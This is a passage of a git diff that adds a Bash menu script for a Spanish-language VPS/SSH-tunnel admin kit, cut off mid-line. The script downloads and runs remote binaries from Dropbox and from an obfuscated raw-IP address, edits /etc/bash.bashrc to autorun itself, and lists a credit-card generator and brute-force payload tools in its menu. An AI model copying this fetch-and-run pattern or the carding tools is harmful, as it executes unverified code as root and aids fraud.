+fai2ban.sh +vnc +cambiopass.sh +Crear-Demo.sh +htop.sh +GENERADOR_BIN.sh +MasterBin.sh +paysnd.sh +payySND.sh +ultrahost +dados.py +dados.zip +Gestor.sh +insta_painel +painel.zip +Proxy-Privado.sh +Proxy-Publico.sh +unddos.py +panelweb.sh +rootpass.sh +toolmaster.py +dados.sh +hora.sh +optimizar.sh +permisos_passwd.sh +nload.sh diff --git a/ADM-VENTAS-LEALDROID/request/menu b/ADM-VENTAS-LEALDROID/request/menu new file mode 100644 index 0000000..cb8c692 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/menu @@ -0,0 +1,736 @@ +#!/bin/bash +red=$(tput setaf 1) +gren=$(tput setaf 2) +yellow=$(tput setaf 3) +#Screen +[[ ! -e /usr/bin/trans ]] && { +echo -e "Piratear es muy feo, toma vergenza en la cara" +echo -e "Di duro para llegar hasta aqu, Muchas noches sin dormir" +echo -e "Adquiere un Serial y Ayuda al desarrollador" +} +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPusr="${SCPdir}/ger-user" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPidioma="${SCPdir}/idioma" +if [[ -e /etc/bash.bashrc-bakup ]]; then AutoRun="\033[1;32m[on]" +elif [[ -e /etc/bash.bashrc ]]; then AutoRun="\033[1;31m[off]" +fi +# Funcoes Globais +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;36m' #MAG='\033[1;36m' +COLOR[7]='\033[1;34m' #AZULR='\033[1;34m' +COLOR[8]='\e[0;31m' #rojoc='\e[0;31m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1)COLOR[$COL]='\033[1;37m';; +2)COLOR[$COL]='\e[31m';; +3)COLOR[$COL]='\e[32m';; +4)COLOR[$COL]='\e[33m';; +5)COLOR[$COL]='\e[34m';; +6)COLOR[$COL]='\e[35m';; +7)COLOR[$COL]='\033[1;36m';; +8)COLOR[$COL]='\033[1;34m';; +9)COLOR[$COL]='\033[0;31m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne)cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama)cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm)cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2)cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -azu)cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verd)cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -bra)cor="${COLOR[0]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + "-bar2"|"-bar")cor="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" && echo -e "${SEMCOR}${cor}${SEMCOR}";; + -azuc)cor="${COLOR[7]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -rojoc)cor="${COLOR[8]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; +esac +} +canbio_color () { +msg -ama "$(fun_trans "Hola, este es el Administrador de Colores") \033[1;31m[ NEW - ULTIMATE - SCRIPT ] \033[1;33m[\033[1;34m OFICIAL BY MARTINR8 \033[1;33m]" +msg -bar2 +msg -ama "$(fun_trans "Selecciona 7 colores"): " +echo -e '\033[1;37m [1] ###\033[0m' +echo -e '\e[31m [2] ###\033[0m' +echo -e '\e[32m [3] ###\033[0m' +echo -e '\e[33m [4] ###\033[0m' +echo -e '\e[34m [5] ###\033[0m' +echo -e '\e[35m [6] ###\033[0m' +echo -e '\033[1;36m [7] ###\033[0m' +msg -bar2 +for number in $(echo {1..7}); do +msg -ne "$(fun_trans "Introduzca el color") [$number]: " && read corselect +[[ $corselect != @([1-7]) ]] && corselect=1 +cores+="$corselect " +corselect=0 +done +echo "$cores" > /etc/new-adm-color +msg -bar2 +} +fun_trans () { +local texto +local retorno +declare -A texto +SCPidioma="${SCPdir}/idioma" +[[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +local LINGUAGE=$(cat ${SCPidioma}) +[[ -z $LINGUAGE ]] && LINGUAGE=es +[[ $LINGUAGE = "es" ]] && echo "$@" && return +[[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://www.dropbox.com/s/l6iqf5xjtjmpdx5/trans?dl=0 &> /dev/null +[[ ! -e /etc/texto-adm ]] && touch /etc/texto-adm +source /etc/texto-adm +if [[ -z "$(echo ${texto[$@]})" ]]; then +#ENGINES=(aspell google deepl bing spell hunspell apertium yandex) +#NUM="$(($RANDOM%${#ENGINES[@]}))" +retorno="$(source trans -e bing -b es:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" +echo "texto[$@]='$retorno'" >> /etc/texto-adm +echo "$retorno" +else +echo "${texto[$@]}" +fi +} +atualiza_fun () { +cd $HOME +tput cuu1 && tput dl1 +msg -bar2 +msg -ama "$(fun_trans "ACTUALIZADOR ADM SCRIPTS"): \033[1;32m[ NEW - ULTIMATE - SCRIPT ] \033[1;33m[\033[1;34m OFICIAL BY VENTAS-LEALDROID \033[1;33m] \033[1;31m[\033[1;37mV 3.0\033[1;31m]" +msg -verm "$(fun_trans "Al proseguir los datos como el tiempo de uso seran perdidos"): " +msg -bar2 +while [[ $Key != @(s|S|y|Y|n|N) ]]; do +msg -ne "$(fun_trans "esta de acuerdo")? [S/N]: " && read Key +tput cuu1 && tput dl1 +done +if [[ $Key = @(s|S|y|Y) ]]; then +msg -verm "$(fun_trans "Perfecto Iniciando Procedimiento"): " +wget -O $HOME/newadmin3.0.sh https://raw.githubusercontent.com/lealdroidscript/ADM-VENTAS-LEALDROID/master/Lealdroidscript.sh &> /dev/null +chmod +x $HOME/Lealdroidscript.sh* +local LINGUAGE=$(cat ${SCPidioma}) +$HOME/Lealdroidscript.sh "${LINGUAGE}" +else +msg -verm "$(fun_trans "Procedimiento Cancelado"): " +msg -bar2 +fi +} +funcao_idioma () { +tput cuu1 && tput dl1 +msg -bar2 +declare -A idioma=( [1]="en English" [2]="fr Franch" [3]="de German" [4]="it Italian" [5]="pl Polish" [6]="pt Portuguese" [7]="es Spanish" [8]="tr Turkish" ) +for ((i=1; i<=12; i++)); do +valor1="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor1 ]] && break +valor1="\033[1;32m[$i] > \033[1;33m$valor1" + while [[ ${#valor1} -lt 37 ]]; do + valor1=$valor1" " + done +echo -ne "$valor1" +let i++ +valor2="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor2 ]] && { + echo -e " " + break + } +valor2="\033[1;32m[$i] > \033[1;33m$valor2" + while [[ ${#valor2} -lt 37 ]]; do + valor2=$valor2" " + done +echo -ne "$valor2" +let i++ +valor3="$(echo ${idioma[$i]}|cut -d' ' -f2)" +[[ -z $valor3 ]] && { + echo -e " " + break + } +valor3="\033[1;32m[$i] > \033[1;33m$valor3" + while [[ ${#valor3} -lt 37 ]]; do + valor3=$valor3" " + done +echo -e "$valor3" +done +msg -bar2 +unset selection +while [[ ${selection} != @([1-8]) ]]; do +echo -ne "\033[1;37m$(fun_trans "Selecione una Opcion"): " && read selection +tput cuu1 && tput dl1 +done +[[ -e /etc/texto-adm ]] && rm /etc/texto-adm +echo "$(echo ${idioma[$selection]}|cut -d' ' -f1)" > ${SCPidioma} +} +memorias () { +if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then +system=$(cut -d' ' -f1 /etc/issue.net) +system+=$(echo ' ') +system+=$(cut -d' ' -f2 /etc/issue.net |awk -F "." '{print $1}') +elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then +system=$(cut -d' ' -f1 /etc/issue.net) +system+=$(echo ' ') +system+=$(cut -d' ' -f3 /etc/issue.net) +else +system=$(cut -d' ' -f1 /etc/issue.net) +fi +_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})") +_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") +_usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") +_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)") +_system=$(printf '%-14s' "$system") +_hora=$(printf '%(%H:%M:%S)T') +echo -e "\033[1;32mSISTEMA MEMORIA RAM PROCESSADOR " +echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" +echo -e "\033[1;31mHora:\033[1;37m $_hora \033[1;31mEn uso: \033[1;37m$_usor \033[1;31mEn uso: \033[1;37m$_usop\033[0m" +} +BadVPN () { +pid_badvpn=$(ps x | grep badvpn | grep -v grep | awk '{print $1}') +if [ "$pid_badvpn" = "" ]; then + msg -ama "$(fun_trans "Liberando Badvpn")" + msg -bar + if [[ ! -e /bin/badvpn-udpgw ]]; then + wget -O /bin/badvpn-udpgw https://www.dropbox.com/s/nxf5s1lffmbikwq/badvpn-udpgw &>/dev/null + chmod 777 /bin/badvpn-udpgw + fi + screen -dmS screen /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10 + [[ "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -ama "$(fun_trans "Sucesso")" || msg -ama "$(fun_trans "Falhou")" +else + msg -ama "$(fun_trans "Parando Badvpn")" + msg -bar + kill -9 $(ps x | grep badvpn | grep -v grep | awk '{print $1'}) > /dev/null 2>&1 + killall badvpn-udpgw > /dev/null 2>&1 + [[ ! "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && echo -e "${cor[4]} ${txt[125]}" + unset pid_badvpn + fi +unset pid_badvpn +} +mine_port () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +i=0 +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e ${portas[@]}|grep "$var1 $var2")" ]] || { + portas[$i]="$var1 $var2" + let i++ + } +done <<< "$portas_var" +for((i=0; i<=${#portas[@]}; i++)); do +servico="$(echo ${portas[$i]}|cut -d' ' -f1)" +porta="$(echo ${portas[$i]}|cut -d' ' -f2)" +[[ -z $servico ]] && { + echo -e " " + break + } +texto="\033[1;31m${servico}: \033[1;32m${porta}" + while [[ ${#texto} -lt 35 ]]; do + texto=$texto" " + done +echo -ne "${texto}" +let i++ +servico="$(echo ${portas[$i]}|cut -d' ' -f1)" +porta="$(echo ${portas[$i]}|cut -d' ' -f2)" +[[ -z $servico ]] && { + echo -e " " + break + } +texto="\033[1;31m${servico}: \033[1;32m${porta}" + while [[ ${#texto} -lt 35 ]]; do + texto=$texto" " + done +echo -ne "${texto}" +let i++ +servico="$(echo ${portas[$i]}|cut -d' ' -f1)" +porta="$(echo ${portas[$i]}|cut -d' ' -f2)" +[[ -z $servico ]] && { + echo -e " " + break + } +texto="\033[1;31m${servico}: \033[1;32m${porta}" + while [[ ${#texto} -lt 35 ]]; do + texto=$texto" " + done +echo -e "${texto}" +done +} +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="+";; +"+")txt[$i]=".";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"3")txt[$i]="%";; +"%")txt[$i]="3";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} +remove_ferramenta () { +echo -e "\033[1;31m$(fun_trans "ATENCION"): " +echo -e "\033[1;33m$(fun_trans "Este proceso no se puede deshacer")" +echo -e "\033[1;33m$(fun_trans "Seleccione la herramienta que desea quitar")" +msg -bar2 +Numb=0 +for arqs in $(ls ${SCPfrm}); do +float_data "$arqs" "$Numb" && { + script[$Numb]="$arqs" + let Numb++ + } +done +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "VOLVER")" +script[0]="regreso" +msg -bar2 +selection=999 +selection=$(selection_fun $Numb) +[[ -e "${SCPfrm}/${script[$selection]}" ]] && rm ${SCPfrm}/${script[$selection]} || return +} +agregar_ferramenta () { +tput cuu1 && tput dl1 +msg -bar2 +unset Key +echo -e "\033[1;31m$(fun_trans "ATENCION"): " +echo -e "\033[1;33m$(fun_trans "no introduzca una Key de actualizacion aqui")" +echo -e "\033[1;37m$(fun_trans "Escriba Key para el nuevo recurso") " +msg -bar2 +while [[ -z $Key ]]; do +echo -ne "[Key/Link]: " && read Key +tput cuu1 && tput dl1 +done +echo -ne "\033[1;37m$(fun_trans "Verificando key"): " +cd ${SCPfrm} +curl "$Key" &> /dev/null +if [[ $? = "0" ]]; then +echo -e "\033[1;32m $(fun_trans "Link Valido")" +REC=$(echo $Key|awk -F"/" '{print $NF}') +echo -ne "\033[1;33m$(fun_trans "Recibiendo Recurso"): \033[1;31m[$REC]" +wget -O ${SCPfrm}/${REC} $Key &>/dev/null && echo -e "\033[1;31m- \033[1;32m$(fun_trans "Recibido")" && chmod +x ${SCPfrm}/${REC} || echo -e "\033[1;31m- \033[1;31m$(fun_trans "Error al recibir")" +else +wget $(ofus "$Key") >/dev/null 2>&1 && echo -e "\033[1;32m $(fun_trans "Key Valida")" || { + msg -verm "$(fun_trans "Key invalida")" + msg -bar2 + return 0 + } +fi +IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') +sleep 1s +[[ -e ${SCPfrm}/lista-arq ]] && { + if [[ $(cat ${SCPfrm}/lista-arq) = "KEY DE INSTALA�AO!" ]]; then + echo -e "\033[1;33m$(fun_trans "KEY DE INSTALACION NO DEBE SER USADA AQUI")" + msg -bar2 + rm ${SCPfrm}/lista-arq + return 1 + fi + if [[ $(cat ${SCPfrm}/lista-arq) = "KEY INVALIDA!" ]]; then + echo -e "\033[1;33m$(fun_trans "KEY INVALIDA")" + msg -bar2 + rm ${SCPfrm}/lista-arq + return 1 + fi + REQUEST=$(ofus "$Key" |cut -d'/' -f2) + for arqx in $(cat ${SCPfrm}/lista-arq); do + echo -ne "\033[1;33m$(fun_trans "Recibiendo Recurso"): \033[1;31m[$arqx] " + wget -O ${SCPfrm}/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && echo -e "\033[1;31m- \033[1;32m$(fun_trans "Recibido")" && chmod +x ${SCPfrm}/${arqx} || echo -e "\033[1;31m- \033[1;31m$(fun_trans "Error al recibir")" + sleep 1s + done + rm ${SCPfrm}/lista-arq + msg -bar2 + } +} +limpar_caches () { +( +VE="\033[1;33m" && MA="\033[1;31m" && DE="\033[1;32m" +while [[ ! -e /tmp/abc ]]; do +A+="#" +echo -e "${VE}[${MA}${A}${VE}]" >&2 +sleep 0.3s +tput cuu1 && tput dl1 +done +echo -e "${VE}[${MA}${A}${VE}] - ${DE}[100%]" >&2 +rm /tmp/abc +) & +echo 3 > /proc/sys/vm/drop_caches &>/dev/null +sleep 1s +sysctl -w vm.drop_caches=3 &>/dev/null +apt-get autoclean -y &>/dev/null +sleep 1s +apt-get clean -y &>/dev/null +rm /tmp/* &>/dev/null +touch /tmp/abc +sleep 0.5s +msg -bar +msg -ama "$(fun_trans "PROCEDIMIENTO CONCLUIDO")" +msg -bar +} +fun_autorun () { +if [[ -e /etc/bash.bashrc-bakup ]]; then +mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc +cat /etc/bash.bashrc | grep -v "/etc/newadm/menu" > /tmp/bash +mv -f /tmp/bash /etc/bash.bashrc +msg -ama "$(fun_trans "REMOVIDO CON EXITO")" +msg -bar +elif [[ -e /etc/bash.bashrc ]]; then +cat /etc/bash.bashrc|grep -v /bin/adm > /etc/bash.bashrc.2 +echo '/etc/newadm/menu' >> /etc/bash.bashrc.2 +cp /etc/bash.bashrc /etc/bash.bashrc-bakup +mv -f /etc/bash.bashrc.2 /etc/bash.bashrc +msg -ama "$(fun_trans "AUTO INICIALIZAR AGREGADO")" +msg -bar +fi +} +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 +tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +meu_ip () { +if [[ -e /etc/MEUIPADM ]]; then +echo "$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +fun_ip () { +if [[ -e /etc/MEUIPADM ]]; then +IP="$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +fun_eth () { +eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}') + [[ $eth != "" ]] && { + msg -bar + msg -ama " $(fun_trans "Aplicar el sistema para mejorar los paquetes SSH?")" + msg -ama " $(fun_trans "Opcion para usuarios avanzados")" + msg -bar + read -p " [S/N]: " -e -i n sshsn + [[ "$sshsn" = @(s|S|y|Y) ]] && { + echo -e "${cor[1]} $(fun_trans "Correcci�n de problemas de paquetes en SSH ...")" + echo -e " $(fun_trans "�Cual es la tasa RX?")" + echo -ne "[ 1 - 999999999 ]: "; read rx + [[ "$rx" = "" ]] && rx="999999999" + echo -e " $(fun_trans "�Cual es la tarifa TX")" + echo -ne "[ 1 - 999999999 ]: "; read tx + [[ "$tx" = "" ]] && tx="999999999" + apt-get install ethtool -y > /dev/null 2>&1 + ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1 + } + msg -bar + } +} +os_system () { +system=$(echo $(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //')) +echo $system|awk '{print $1, $2}' +} +remove_script () { +msg -ama "$(fun_trans "CONFIRMA REMOCION TOTAL DE LOS SCRIPTS")?" +msg -bar +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +rm -rf ${SCPdir} &>/dev/null +rm -rf ${SCPusr} &>/dev/null +rm -rf ${SCPinst} &>/dev/null +[[ -e /bin/adm ]] && rm /bin/adm +[[ -e /usr/bin/adm ]] && rm /usr/bin/adm +[[ -e /bin/menu ]] && rm /bin/menu +[[ -e /usr/bin/menu ]] && rm /usr/bin/menu +cd $HOME +fi +} +# Menu Ferramentas +systen_info () { +msg -ama "$(fun_trans "DETALLES DEL SISTEMA")" +null="\033[1;31m" +msg -bar +if [ ! /proc/cpuinfo ]; then msg -verm "$(fun_trans "Sistema no soportado")" && msg -bar; return 1; fi +if [ ! /etc/issue.net ]; then msg -verm "$(fun_trans "Sistema no soportado")" && msg -bar; return 1; fi +if [ ! /proc/meminfo ]; then msg -verm "$(fun_trans "Sistema no soportado")" && msg -bar; return 1; fi +totalram=$(free | grep Mem | awk '{print $2}') +usedram=$(free | grep Mem | awk '{print $3}') +freeram=$(free | grep Mem | awk '{print $4}') +swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}') +system=$(cat /etc/issue.net) +clock=$(lscpu | grep "CPU MHz" | awk '{print $3}') +based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}') +processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}') +cpus=$(cat /proc/cpuinfo | grep processor | wc -l) +[[ "$system" ]] && msg -ama "$(fun_trans "Sistema"): ${null}$system" || msg -ama "$(fun_trans "Sistema"): ${null}???" +[[ "$based" ]] && msg -ama "$(fun_trans "Basado"): ${null}$based" || msg -ama "$(fun_trans "Basado"): ${null}???" +[[ "$processor" ]] && msg -ama "$(fun_trans "procesador"): ${null}$processor x$cpus" || msg -ama "$(fun_trans "procesador"): ${null}???" +[[ "$clock" ]] && msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}$clock MHz" || msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}???" +msg -ama "$(fun_trans "Uso del procesador"): ${null}$(ps aux | awk 'BEGIN { sum = 0 } { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')" +msg -ama "$(fun_trans "Memoria Virtual Total"): ${null}$(($totalram / 1024))" +msg -ama "$(fun_trans "Memoria Virtual Em Uso"): ${null}$(($usedram / 1024))" +msg -ama "$(fun_trans "Memoria Virtual Livre"): ${null}$(($freeram / 1024))" +msg -ama "$(fun_trans "Memoria Virtual Swap"): ${null}$(($swapram / 1024))MB" +msg -ama "$(fun_trans "Tiempo en linea"): ${null}$(uptime)" +msg -ama "$(fun_trans "Nombre de la maquina"): ${null}$(hostname)" +msg -ama "$(fun_trans "Direccion De la Maquina"): ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}')" +msg -ama "$(fun_trans "Version del nucleo"): ${null}$(uname -r)" +msg -ama "$(fun_trans "Arquitectura"): ${null}$(uname -m)" +msg -bar +return 0 +} +float_data () { +ofc="\033[0m${gren}(#OFC)" +dev="\033[0;33m${amar}(#DEV)" +premium="\033[0;31m${bra}(#PREMIUM)" +case $1 in +"Crear-Demo.sh") return 1;; +"panelweb.sh") return 1;; +"Gestor.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "ADMINISTRADOR VPS") $dev";; +"rootpass.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "PERMISO ROOT (googlecloud,amazon)") $premium";; +"toolmaster.py")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "TOOLMASTER") $premium";; +#"Painel.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "PANELSSH V-10(sshplus)") $premium";; +#"Paneln.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "PANELSSH V12 (sshplus)") $premium";; +"insta_painel")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "PANEL DE CARGA (acm)") $premium";; +"unddos.py")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "ANTI-DDoS DESINSTALADOR") $dev";; +"dados.py")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "ANTI-DDoS") $dev";; +"cambiopass.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "CAMBIAR CONTRASENA DE VPS") $dev";; +"vnc")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "VNC PANEL DE ADMINISTRACION") $premium";; +"htop.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "HTOP procesos del sistema") $dev";; +"Proxy-Publico.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "PROXY COLOR PUBLICO") $premium";; +"Proxy-Privado.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "PROXY COLOR PRIVADO") $premium";; +"GENERADOR_BIN.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "GENERADOR DE CC") $dev";; +"ports.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -ama "$(fun_trans "SISTEMA DE PUERTAS") $ofc";; +"fai2ban.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "FAIL2BAN PROTECCION") $ofc";; +"MasterBin.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "CONSULTAR UN BIN") $ofc";; +"payySND.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "PAYLOAD FUERZA BRUTA PYTHON") $ofc";; +"paysnd.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "PAYLOAD FUERZA BRUTA") $ofc";; +"apacheon.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "COMPARTIR ARCHIVO ONLINE") $ofc";; +"utils.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "(Badvpn/tcpspeed/squidcache/torrent) $ofc";; +"dados.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "MONITOR DE CONSUMO") $ofc";; +"speed.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "TEST DE VELOCIDAD") $ofc";; +"ultrahost")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "SCANNER DE SUBDOMINIO") $ofc";; +"ADMbot.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "BOT DE GESTION") TELEGRAM $ofc";; +"hora.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "ACTUALIZAR ZONA HORARIO") $ofc";; +"optimizar.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "OPTIMIZADOR DE SERVIDOR") $premium";; +"nload.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azuc "$(fun_trans "TRAFICO DE RED") $dev";; +"permisos_passwd.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -ama "$(fun_trans "ROOT/") VURTL/ GoogleCloud y Amazon $premium";; +"openssh.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "OPENSSH $(pid_inst sshd)";; +"squid.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "SQUID $(pid_inst squid)";; +"dropbear.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "DROPBEAR $(pid_inst dropbear)";; +"openvpn.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "OPENVPN $(pid_inst openvpn)";; +"ssl.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "SSL Dropbear $(pid_inst stunnel4)";; +"ssld.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "SSL Manager $(pid_inst stunnel4)";; +"sslmanager.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -ama "SSL MANAGERS $(pid_inst stunnel4)";; +"errormanager.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -ama "Corrección De Puertos $(pid_inst errormanager)";; +"shadown.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "Shadowsocks Cloack $(pid_inst ck-server)";; +"shadowsock.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "Shadowsocks-R,Go,Liv $(pid_inst obfs-serv)";; +"shadowsocks.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "Shadowsocks-Libev $(pid_inst obfs-serv)";; +"ssrrmu.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "ShadowsocksR Manager $(pid_inst python)";; +"sockspy.sh")echo -ne "$(msg 